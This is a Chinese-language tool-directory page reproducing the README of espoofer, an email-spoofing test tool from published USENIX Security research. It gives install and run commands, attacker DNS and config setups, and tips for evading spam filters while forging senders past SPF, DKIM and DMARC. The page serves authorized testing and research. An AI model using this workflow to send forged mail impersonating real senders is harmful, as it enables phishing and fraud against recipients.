Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
espoofer — 一个电子邮件欺骗测试工具,旨在绕过SPF/DKIM/DMARC并伪造DKIM签名。🍻 | Kitploit
工具/GitHubGitHub/chenjj/espoofer
钓鱼工具漏洞分析渗透测试论文与研究学习与教育电子邮件安全
GitHubchenjj/espoofer

espoofer

一个电子邮件欺骗测试工具,旨在绕过SPF/DKIM/DMARC并伪造DKIM签名。🍻

查看仓库
1.7k281414年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

espoofer

espoofer 是一个开源测试工具,用于绕过电子邮件系统中的 SPF、DKIM 和 DMARC 认证。它帮助邮件服务器管理员和渗透测试人员检查目标邮件服务器和客户端是否容易受到电子邮件欺骗攻击,或者是否可能被滥用来发送欺骗性电子邮件。


图 1. 我们对 Gmail 的欺骗攻击案例(已修复,演示视频)

为什么构建这个工具?

电子邮件欺骗对个人和组织都是巨大威胁(雅虎数据泄露、John Podesta 事件)。为了解决这个问题,现代电子邮件服务和网站采用了认证协议——SPF、DKIM 和 DMARC——来防止电子邮件伪造。

我们最新的研究表明,这些协议的实现存在许多安全问题,可以被利用来绕过 SPF/DKIM/DMARC 保护。图 1 展示了我们绕过 Gmail 的 DKIM 和 DMARC 的欺骗攻击之一。更多技术细节,请参阅我们的 Black Hat USA 2020 演讲(含演讲视频)或 USENIX Security 2020 论文。

  • Black Hat USA 2020 幻灯片(PDF):你根本不知道是谁发送了那封邮件:针对电子邮件发件人认证的 18 种攻击
  • USENIX Security 2020 论文(PDF):组合致命:电子邮件发件人认证案例研究
    • 杰出论文奖获得者

在这个仓库中,我们总结了我们发现的所有测试用例,并将它们集成到这个工具中,以帮助管理员和安全从业者快速识别并定位这类安全问题。

如果你进行科学研究,请使用以下引用(点击我)。

LaTeX 版本:

@inproceedings{chen-email,
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
}

Word 版本:

Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020.

安装

  • 下载此工具
git clone https://github.com/chenjj/espoofer
  • 安装依赖项
sudo pip3 install -r requirements.txt

Python 版本:Python 3 (>=3.7)。

用法

espoofer 有三种工作模式:server('s',默认模式)、client('c')和 manual('m')。在 server 模式下,espoofer 像一个邮件服务器一样工作,测试接收服务中的验证。在 client 模式下,espoofer 像一个邮件客户端一样工作,测试发送服务中的验证。Manual 模式用于调试目的。


图 2. 三种攻击者类型及其工作模式

Server 模式

要以 server 模式运行 espoofer,你需要具备:1)一个 IP 地址(1.2.3.4),其出站端口 25 未被 ISP 屏蔽;2)一个域名(attack.com)。

  1. 域名配置
  • 为 attack.com 设置 DKIM 公钥
selector._domainkey.attacker.com TXT  "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"
  • 为 attack.com 设置 SPF 记录
attack.com TXT "v=spf1 ip4:1.2.3.4 +all"
  1. 在 config.py 中配置工具
config ={
	"attacker_site": b"attack.com", # attack.com
	"legitimate_site_address": b"[email protected]", # legitimate.com
	"victim_address": b"[email protected]", # [email protected]
	"case_id": b"server_a1", # server_a1
}

你可以使用 -l 选项列出所有测试用例的 case_id:

python3 espoofer.py -l
  1. 运行工具发送欺骗邮件
python3 espoofer.py

你可以在 config.py 中更改 case_id,或者使用命令行中的 -id 选项来测试不同的案例:

python3 espoofer.py -id server_a1

Client 模式

要以 client 模式运行 espoofer,你需要在目标电子邮件服务上拥有一个账户。这种攻击利用了某些电子邮件服务未能对来自本地 MUA 的邮件进行充分验证的缺陷。例如,[email protected] 试图冒充 [email protected]。

  1. 在 config.py 中配置工具
config ={
	"legitimate_site_address": b"[email protected]",  
	"victim_address": b"[email protected]", 
	"case_id": b"client_a1",

	"client_mode": {
		"sending_server": ("smtp.gmail.com", 587),  # SMTP 发送服务器 IP 和端口
		"username": b"[email protected]", # 你的账户用户名和密码
		"password": b"your_passward_here",
	},
}

你可以使用 -l 选项列出所有测试用例的 case_id:

python3 espoofer.py -l

注意:sending_server 应该是 SMTP 发送服务器地址,而不是接收服务器地址。

  1. 运行工具发送欺骗邮件
python3 espoofer.py -m c

你可以在 config.py 中更改 case_id 并再次运行,或者使用命令行中的 -id 选项:

python3 espoofer.py -m c -id client_a1

Manual 模式

以下是 manual 模式的示例:

python3 espoofer.py -m m -helo attack.com -mfrom <[email protected]> -rcptto <[email protected]> -data raw_msg_here -ip 127.0.0.1 -port 25

截图

  1. 测试用例简要概览。

使用此工具发现的漏洞

  • Gmail.com DMARC 绕过演示视频,https://youtu.be/xuKZpT0rsd0
  • Outlook.com DMARC 绕过视频,https://youtu.be/IsWgAEbPaK0
  • Yahoo.com DMARC 绕过视频,https://youtu.be/DRepfStOruE
  • Protonmail.com DMARC 绕过视频,https://youtu.be/bh4_SoPniMA
  • CVE-2020-12272,OpenDMARC 绕过漏洞报告,https://sourceforge.net/p/opendmarc/tickets/237/
  • CVE-2019-20790,OpenDMARC 和 pypolicyd-spf 绕过漏洞报告,https://sourceforge.net/p/opendmarc/tickets/235/
  • Mail.ru DMARC 绕过漏洞报告(HackerOne),https://hackerone.com/reports/731878

欢迎提交 pull request 在此处报告你的漏洞。

常见问题解答

  1. 如何知道邮件是否成功绕过了 DMARC 认证?

你可以在原始邮件头部的 Authentication-results 头部中检查。如果该头部显示 dmarc=pass,则表示该邮件已通过 DMARC 认证。你可以查看一些演示视频此处。

  1. 为什么邮件发送失败?

如果你发送邮件失败,可能有几个原因:1)你的 ISP 阻止出站到端口 25 的邮件以防止垃圾邮件。在这种情况下,你需要向 ISP 请求权限;2)IP 地址在目标邮件服务的垃圾邮件列表中。在许多情况下,你可以通过 https://www.spamhaus.org/lookup/ 解决该问题;3)某些邮件服务会检查发送 IP 是否有 PTR 记录,你可能还需要设置 PTR 记录以绕过此检查;4)邮件无法通过目标邮件服务的格式验证,你可能想尝试不同的测试案例。

  1. 为什么邮件进入垃圾邮件文件夹?有什么方法可以避免吗?

目前,espoofer 专注于绕过 SPF/DKIM/DMARC 认证,并不针对垃圾邮件过滤器绕过。但你可以尝试使用信誉良好的发送 IP 地址、域名和良性的邮件内容来绕过垃圾邮件过滤器。

  1. 为什么我成功发送了邮件,但邮件既没有出现在收件箱也没有出现在垃圾邮件文件夹?

根据我们以往的经验,某些邮件服务会静默过滤可疑邮件。

  1. 测试 server_a5/a6 时,为什么我无法在域名中设置特殊字符如 "("?

你需要设置自己的权威 DNS 服务器,而不是使用第三方 DNS 托管服务,因为某些 DNS 托管服务对设置特殊字符有限制。参见问题。

贡献

欢迎添加更多测试用例。

下载工具